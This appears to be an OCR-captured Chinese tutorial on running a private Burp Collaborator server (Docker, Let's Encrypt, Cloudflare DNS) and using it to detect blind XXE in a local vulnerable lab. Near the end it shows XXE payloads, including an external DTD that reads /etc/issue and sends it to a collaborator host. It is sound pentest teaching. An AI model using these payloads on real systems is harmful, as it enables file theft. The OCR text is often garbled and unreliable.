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(2J Burp Collaborator Server

o Burp Collaborator is an external service that Burp can use to help discover many kinds of vulnerabilities. You can use the default Collaborator server provi
= should read the full documentation for this featwre and decide which option Is most appropriate for you.

® Use the default Collaborator server
() Don't use Burp Collaborator
() Use a private Collaborator server:

Server location:

Polling location (optional): [

] Poll ower unencrypted HTTP

Run health check ...

Scheduled Tasks

o These peifings bed you specify tavie that Burp will perform automa sl af dsfinad fmas o inferl
= [ ] [ ] Burp Collaborator Health Chock

| kg | Time Repeat Task
— 1 [7] Burp Cellaborator Health Check
Ed (<2
B Inkating healkh check
Sarver address resoktion Succesy
L Server HTTP connection Suscess

Server WTTPS connection (inad enforoed) Succesy

Sarver HTTPS conne wit net aederced) T

Server SMTP Conmection o port 25 SuCess

Sarver SMTP conmection an port 587 Succesy

Server SMTPS eonnection (IFust enfunced) Success

Server SMTPS conneciion (rust not enforced] Success

(2] Burp Collaborator Server Pulling verver addeess reschtion Sameeny
o Burp Collaberaar is an extrmal senvice that Bura can use w he Pt M - Jawonss
= akould read the full documentation for this feature and decide | Werify DN imeraction Suocess
arify HTTF interaction Sucoess

@ Lze the defanit Collaborator server Maify K B emctiom S
Success

) Dort une Burp Collaberainn Wierify SMTPS imeracsion Suecess

) U a private Collaborator server: SEMVET VETS N [r—

Server location:

Palling lacation o ™ — Al peaxs were gocoeusful.

L Poll gwer uemncrypbed WTTP

[ Run heaith chack ... |
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=
=3 ; | Coose
@ Thene samngs contral lagging of HTTP requetts and responsen —_—
Al ok [ Requests ] Responyes
Prooy L Requests || Responses

Intruder Repeater Window Help

Search der T Repe:
Save copy of project
Import project [disk projects only] i Ii

Rename project

v

Project options
at Burp will

v

User options

v

Passwords
2peat

Burp Infiltrator
Burp Clickbandit

Burp Collaborator client

Save legacy state file

Restore legacy state file
Exit

L N Burp Collaborator client



»| Click "Copy to clipboard® to generate Burp Collaborator payloads that you can use in your own testing. Any interactions that result from using the payloads will appear

© b low,
Cenerate Collaborator payloads
Humber to generate: 1 Copy to dipboard ¥ Include Collaborator server location
Poll Collaborator interactions
Pall every &0 seconds Poll now
# i Time Type Payload Commant

| Close |

$ curl luffy.x42g@cfhgnvx ef9jwz ssh.burpcollaborator.net

<html><body>boo7x 3 </body=</html ;

] Burp Collaborator client

3| Click "Copy to chipboard” o generate Burp Collaborator payloads that you can use in your own testing, Any imteractions that result from using the payloads will appear
= below.

GCenerate Collaborator payloads

Murnber 1o genérape: 1 Copy 1o clipboard | o] mclude Collaborator server location

Pall Collaborator interactions

Poll every &0 secands | Poll now
# & Time Type Payload Comment |
1 2018-+"M-27 07:03:24 UTC DNS %4 2gDcfhgrvachiefSjwzyeby24ssh
2 201B-4+"H-27 07:03:24 UTC HTTP x4 2 gDefhgrvenod jefijwayeby2 4ssh

Description | DNS query

The Collaborator server received a DNS lockup of type A for the domain name luffy.x42g0cfhgnvxobjef9jwezyeby24ssh. burpcollaborator.net,

The lookup was received from IF address 60.215.138,18 at 2008-...-27 07:03:24 UTC,
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Br: TDNS log, https log#l smtps log.

EBENMAE D L2/ T docker, #ifEDocker_Server_InnerH % T :

docker-compose build
docker-compose up -d

Asd Time Bepeat Task
Edi = Burp Collaborator Health Check
Remove v urp

Inkiating kealih check

Sarw conrRe 5 Succes
Server SMTF © g Succes
Burp Collaberator is an external service that Burp cam use to kelp discovy
shauld read the hal decumentation Tor this festure &nd decide which opll Server SMTPS Sarces.
J Usi the difauh Collaborator terer Poling sen nnecton Succes
o) D't uie Burp Collaberame
@) Use a private Collaborator senes W Siscces
Sai v OCATR: 172,168 45,145 ¥ n Sunces
Palling lacation {oprioeal)
o Poll o WITP
i) Poll anver unencrypited Sirce the caplure semver was configured using an address rather than a hostrarmse, DNS based functiorality will not be availible
An S5L error ocowred when connecting oo the capture server haps:[172.168.46.145, but connecting did work o the cerficase
Run haahth chack .. wabdated, This confieration will werk if the s rver wader 1st does not validate certificates, of has the Capiune Serr Ceruhcane |
An 5L error ocourred when connecting to the SMTPS capture semver 172, 10654 5, bt connecting did work if the certificace v

wakdased, This configaration will werk if the server weder test dees not validace cenificates. or has the capiure server cartficase |
An SMTP connection to the capture server at 172, 168.46.14% port 25 cowld not be opened
Communication using other protocols did work; possibly a firewall i Preventing s Connection.

Thase settings control kgging of HTTP requests and rexponses.

Al traly Ranimare RaznnngEs

Burp Collaborator client

» | Click "Copy to clipboard” 1 generate Burp Collaborator payloads that you can use in your own testing. Ary interactions that result from using the payioads will appear

e horw.
Number to generate: 1 Copy to dipboard ] Inchude Collaborator server location
Poll every &0 secands Poll now
# 4 Time Type Payload Comment

Click "Copy o clipboard™ to generate Burp Collaborator payloads that you can use in your own testing, Any interactions that result from using the payloads will appear
below.

Mumber to generate: 1 Copy to clipboard o] include Collaborator server location



Poll Collaborator interactions

Pall every 60 seconds | Poll now
|# & Time Type Payload
1 [2018-+Z@-27 08:11:33 UTC | HTTP jobtifwzymivhskijdeche Tayfo3d

| Comment:

Description | Request to Collaborator I Response from Collaborator ]

Raw "Hu.ldlru. IHI‘!I]

GET /jobtliwzymivhsékl)Febhz79yfoldd/lufly HTTP 1.1
Bost: 172.168.456.14%

User-Agent: curl/7.63.0

Aocapt: w/e

r < + > Typé a search term

v

| 0 hightights
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SR MBEML, SR LB T
P iRk

VPS

W4 : (MgodaddysEH), REHR 2T cloudflare T 473 Hl),
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LetsEncrypt(% 3% 1) ssIin# ik 13)
Burp Suite Pro

Docker

0x0001 Fic B SSLIE -+

Clase

PLmy-subdomain-for-burp luffy.com Al (154, FEK

wget https://raw.githubusercontent.com/certbot/certbot/master/certbot-auto -0 /usr/local/bin/certbot-auto

chmod a+x /usr/local/bin/certbot-auto
certbot-auto

certbot-auto certonly -d my-subdomain-for-burp.luffy.com -d *.my-subdomain-for-burp.luffy.com --server htt



B Ja A B AIE 35 BRI R TULE Jete/letsencrypt/ B 3 R

ARG i fEcloudflare s NP ASTXT B 3¢

_acme-challenge.my-subdomain-for-burp.luffy.com -> enSGf...

acme-challenge.my-subdomain-for-burp.luffy.com -> Ffzzws...

Q
T™T Automatic TTL Add Record
Type Mame Value TTL Status

_acme-challenge.my-subdo.. ndwlvwa1YSOROST V. Automatic X

_acme-challenge.my-subdo.. .'ﬁ-;hD?\.'.'IS,IF!PEI#?MHL_.M . Automatic »

0x0002 Burp Collaborator Serverf¢fic &



version:

networks:
frontend:
ipam:

config:
- subnet: 172.7

services:
burpinternetserver:
build:
context: ./burp
args:
DomainWhoami=my-subdomain-for-burp.*.com
- IPWhoami1=174.0.0.0
image: slrlu5/burpinternet:latest
restart: always
ports:

W

O O - I,
(0, - I
ee W WA~ e

Y N

([s]
4
ks

volumes:
- /etc/letsencrypt/: /etc/letsencrypt/
networks:
frontend:
ipv4_address: 172

W 354 TIPSR B ) — 444 AIVPS 2 W IP s k-

docker-compose build
docker-compose up -d

0x0003 &AL FHINSIE F

1.NSig % #5 [iins1.my-subdomain-for-burp.luffy.com;

2 AILFARF AMIP.



Type Mame Value TTL Status

A ns1l.my-subdomain-for-burp points to 174N Automatic - ~ *
MS my-subdomain-fer-burp managed by ns1.nw—:—uhdcnlnin—Ior-burp.- Automatic x
acme-challenge.my-subda,., 3kbD?wiSleP3lz7kiatUazsm_EHyyFITR_ZPYI... Automatic x
_acme-challenge.my-subdo... ndwivwB1YSOR0sTIMvBLADQBSX3AZsI_CL... Automatic x
3| Schedubed Tasks

g These uettings et you specey task St lurp wil perform aucmatically at defined timey o intenvah.
Al Time Repeat Task

srator Health Check

3| Burp Collabarator Serve

g Hure Colaboranor is am external service that Burp can use w help dicover many kinds
shoud read the full documentation for this frature and decide which option b maw apg

J Use the defauit Collaborator server

i) Den't use Burp Collibornes

i®) Use a privaie Colalaorator server.

Server location rry=vabidoma in- for hu'u-wu

Peilng location (sptisnal; my-sebdoma n-for-bu (I -m-v242 T T3

1 Poll over wnencrypied HTTP

K heaith check .

@ These settings control kogging of HTTF requeits and fesponses

~/Desktop/Internet

s 1rius
url luff
chtml

~/Desktop/Internet [

®=-@ Burp Collaborator client

7| Chck "Copy to chpboard” to generate Burp Collaborator payloads that you can use in your own testing. Amy interactions that result from using the payloads will appear

< below,
G rate Collaborator payloads
Number 1o generate: | 1 Copy to clipboard | ﬂ Include Collaborator server location
Poll Collaborator interactions
Poll every B0 seconds Poll now
# a4 Time Type Payload Commaent
1 2018-+"H-28 05:00:03 UTC HTTP rivzealsudklhebdgsxigegaelkrig
F 2018-- -28 05:00:03 UTC DNS rivzeafsudklhecdasxigeqaelkrig
3 2018-4+_"H-28 05:00:27 UTC DNS rivzeafsudklhebdgixigegaelkrig
4 2018-+ZH-28 05:00:27 UTC DN3 rivzeafsuaklhebdgSuiqeqaelkrig
5 2018-+=H-28 05:00:28 UTC HTTP rivzeafsudklhebdgSxiqeqaelkrig

l Description NS query

The Collaborator server received a DNS lookup of type A for the domgd
Iul‘Fy.riueanudklhnEd’gSuiqequlkrsg_-m-r—mhdnmain-!ar—h“om

The lookup was received from IF address 60,215 138,10 at 2018-,..-28 05:00:27 UTC,

| Close

AT
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Q Search DNS records

TET - [ Click to configure Autamatic TTL - Add Record

Type Mame Value TTL Status
_acme-challenge.my-subdo...  ndwlvwa1YSQROsTIMEITURENENEER...  Automatic X
_acme-challenge.my-subdo... Ska?WISJePSIz?KfatUM.. Automatic %

RIEHEANEZHF T logs H: T Kburp.log3 .
0x3 I 7 P i
0x01 XXE

BifEDocker_vul_JavaVulnerableLab, XAXXERZ[EIERK), it FEEEER T R

docker-compose build
docker-compose up -d

B Z JEViE http://127.0.0.1:8080/vulnerability/Injection/xxe.jsp.

e L 1 " . L
POST /xxe.do HTTP/1.1

Host: 127.0.0.1:B080 -
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:64.0) Gecko/20100101
Firefox/64.0

Accept: */*

Accept-Language: zh-CN,zh;g=0.8,zh-TW;g=0.7,zh-HK;g=0.5,en-US;g=0.3,en;g=0.2
Accept-Encoding: gzip, deflate

Referer: http://127.0.0.1:8080/vulnerability/Injection/xxe.jsp

Content-Type: application/x-www-form-urlencoded

X-Requested-With: XMLHttpRequest

Content-Length: 102

Connection: close

Cookie: JSESSIONID=7F847BC6435CB974D0915BE3I6GDCC492F

<?xml version="1.0"
encoding="UTF-8"?><users><username>Nec</username><email>nec@matrix</email></users>

3 IR 36 R T I PAYLOAD: :

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE ANY [<!ENTITY hello SYSTEM "http://cfvl7n86l6ri6atlSkbebbxa


http://127.0.0.1:8080/vulnerability/Injection/xxe.jsp

o Cantel Lir i ace Burp Coliaannior chent

st [ ) ik Topy so digbaand” s grrarste Burp Colsborstor paykears St you ca wae bn pour own beving. Any isiaracst that reault om uting the pavios
| Params [ Headers [ Hen [ |
[T #oL_1

nerate Coll r payl
Sob (Mackpdoeh; Takel Hee O & 10,04 FvebR.0) Gecko d050410 ‘Generate Collaboratar payloads

Mumbaer io ganersie; | 1 | | copyiocipsoand | [ inciude Collabosuior verves location
U Ty A REE =0, b er-GRI g0, Loens go0.
| sezabd Lty Inject ios fxes. Jap Pall Collaberatar inberactions
Licut o e et Dancarded 3 &
Poli vy (62 aecnncy | Poll now
s e | Tyoe | Payiaad | Comment
III! IMI“ h'llo STSTIM
biTrer Tistorsts Tserst roseraaned 1 =31 05 8707 UTE | DS oL B T Abab s gl
AL et e R 3 IOMA-+ZR-L DS SNDEUTE DS chel Pkt i Eat kbebbnsa Igrig

| Beteripton | DS suery |

The Colaberuner server received a DHS lookue of ape A For the Gomain name oyl L reL
The lochus way receterd fom F addoess 60305 138.10 a1 3008-...-31 050707 UTC.

SEP SRR .
g —evilxmlstf, HEWebHF T

<IENTITY % file SYSTEM "file:///etc/issue">
<IENTITY % ent "<!ENTITY data SYSTEM 'http://tzwwz7v166dlgirlnzihuc4hd8jy7n.burpcollaborator.net/%file; " '>">

RIEBEHPOSTA:

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % xxegsd76 SYSTEM "http://172.168.46.145:6080

Request sne Burp Colabarmior clens

Paramd | Headers | Hex | XML | Click "Copy to cipboard” o generane Burp Collaborainr payloads that you can use in your own fesing. Any inieractions that result from usieg the payloads wil appear
GET Awaw.g0 HITET ) i, E

kete 127.0.3, 108040
u-r—!runll Mozilla 3.0 (Macintcah; Intal

n.g gEi =S, ah =0, B, Eh =T g Generate Collaborafor payloads
.evc.p- Sntoding: g1 £ip, Satlate :
;:::m_.‘.;p:p "'::r:‘,nﬂh'u_::."‘gﬂf;t Kumber to geseraie: 1 Copy 1o chpboard | ) Include Collaborator server locaton Bt

azp
imequeaned-idith ) THLHGTpReqoner
g:;:h:?'.:h' il Poll Callaboratar interactions

‘cokis: JSESSTONID=FCCEIODIATINREFEDZEE

ipam varaiass Poll every 60 seconds | Poll mow |

|# & Time | Type | Paload | Comment |
1 J018-4+Z"A-3L 11:46:06 UTC DK wwe Felsed 1 gir L nzibed b 8y T
£ 201E-+ZA-51 11:46:07 UTC  WTTP vy Pl Lgie Lnzib ke 8y T

= lrwl'\'lliﬂﬂl;l.n:lh"i:ﬂlj)ﬂn JEurpeollaboratar. aat
Lrersil u-unu-l |-u-p [T e e L
kepeil
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Running Your Instance of Burp Collaborator Server - Fabio Pires
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